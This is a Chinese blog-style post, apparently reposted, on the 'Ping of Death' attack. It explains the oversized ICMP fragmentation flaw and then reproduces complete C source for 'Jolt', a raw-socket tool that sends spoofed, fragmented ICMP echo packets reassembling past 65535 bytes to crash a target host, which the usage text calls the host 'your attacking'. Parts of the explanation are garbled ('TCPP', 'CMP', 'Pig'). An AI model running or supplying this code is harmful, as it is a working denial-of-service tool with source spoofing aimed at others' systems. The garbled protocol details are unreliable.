用C语言实现死亡之ping
Ping of death(CA199260(或 Ping O death,國內有的譯作“死亡之Png”)攻擊利用協議實現時的漏洞CvE199028,向受害者發送超長的Ping數據包,導致受害者系統異常。根據TCPP規范RFC791要求,數據包的長度不得超過65535字節,其中包括至少20字節的包頭和0字節或更多字節的選項信息,其余的則為數據。而 Internet控制消息協議CMP是基于P的,CMP包要封裝到P包中?CMP的頭有8字節
RFC792],因此,一個ICMP包的數據不能超過65535-20-8=65507字節。如果攻擊者發送數據超過65507的Pig包到一個有此漏洞的受害者,則由于Ping包封裝到IP包以后,總的數據量超過了P包長的限制,則數據包會經過分片。當數據包分片到達受害者系統時需要進行重組,在重組超過65536的P包時,受害者系統出現異常,可能導致系統崩潰、死機、重啟等。事實上,對于有的系統,攻擊者只需向其發送載荷數據超過400字節的Ping包就可以達到目的 Strother0,而不必使數據超過65507。
但是,如果直接用系統中提供的Png命令發送這么大的數據會怎么樣呢?在Linux下,我們會看到如下的命令輸出:
#ping -c 1 -s 65535 192.168.0.1
Error:packet size 65535 is to large.Maximum is 65507
說明 Linux只允許發送數據載荷不超過65507的Ping消息。
在 WindowsXP下會看到
那么是否就沒辦法了呢?下面的代碼可以實現完成發送數據載荷大于65500的ping消息(在red hat linux7 內核版本2.4.7-10下調試通過)
/* Yah this is for linux, but i like the BSD ip header better then linux's */ #define __BSD_SOURCE #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <string.h> #include <arpa/inet.h>int main(int argc, char **argv) {int s,i;char buf[400];struct ip *ip = (struct ip *)buf;struct icmphdr *icmp = (struct icmphdr *)(ip + 1);struct hostent *hp, *hp2;struct sockaddr_in dst;int offset;int on;int num = 5;if (argc < 3) {printf("Jolt v1.0 Yet ANOTHER windows95(And macOS!) glitch by VallaH (yaway@hotmail.com)\n");printf("\nusage: %s <dstaddr> <saddr> [number]\n",argv[0]);printf("\tdstaddr is the host your attacking\n");printf("\tsaddr is the host your spoofing from\n");printf("\tNumber is the number of packets to send, 5 is the default\n"); printf("\nNOTE: This is based on a bug that used to affect POSIX complient, and SYSV \n\t systems so its nothing new..\n");printf("\nGreets to Bill Gates! How do ya like this one? :-)\n");exit(1);}if (argc == 4) num = atoi(argv[3]);for (i=1;i<=num;i++) {on=1;bzero(buf, sizeof buf);if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW )) < 0) {perror("socket");exit(1);}if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {perror("IP_HDRINCL");exit(1);}if ((hp = gethostbyname(argv[1])) == NULL) {if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {fprintf(stderr, "%s: unknown host\n", argv[1]);exit(1);}} else {bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);}if ((hp2 = gethostbyname(argv[2])) == NULL) {if ((ip->ip_src.s_addr = inet_addr(argv[2])) == -1) {fprintf(stderr, "%s: unknown host\n", argv[2]);exit(1);}} else {bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);}printf("Sending to %s\n", inet_ntoa(ip->ip_dst));ip->ip_v = 4;ip->ip_hl = sizeof *ip >> 2;ip->ip_tos = 0;ip->ip_len = htons(sizeof buf);ip->ip_id = htons(4321);ip->ip_off = htons(0);ip->ip_ttl = 255;ip->ip_p = 1;ip->ip_sum = 0; /* kernel fills in */dst.sin_addr = ip->ip_dst;dst.sin_family = AF_INET;icmp->type = ICMP_ECHO;icmp->code = 0;icmp->checksum = htons(~(ICMP_ECHO << 8));for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {ip->ip_off = htons(offset >> 3);if (offset < 65120)ip->ip_off |= htons(0x2000);elseip->ip_len = htons(418); /* make total 65538 */if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,sizeof dst) < 0) {fprintf(stderr, "offset %d: ", offset);perror("sendto");}if (offset == 0) {icmp->type = 0;icmp->code = 0;icmp->checksum = 0;}}close(s);usleep(30000);}return 0; }?
總結
以上是生活随笔為你收集整理的用C语言实现死亡之ping的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: WareZ盗版组织揭密-服气了-纯技术牛
- 下一篇: 配置nginx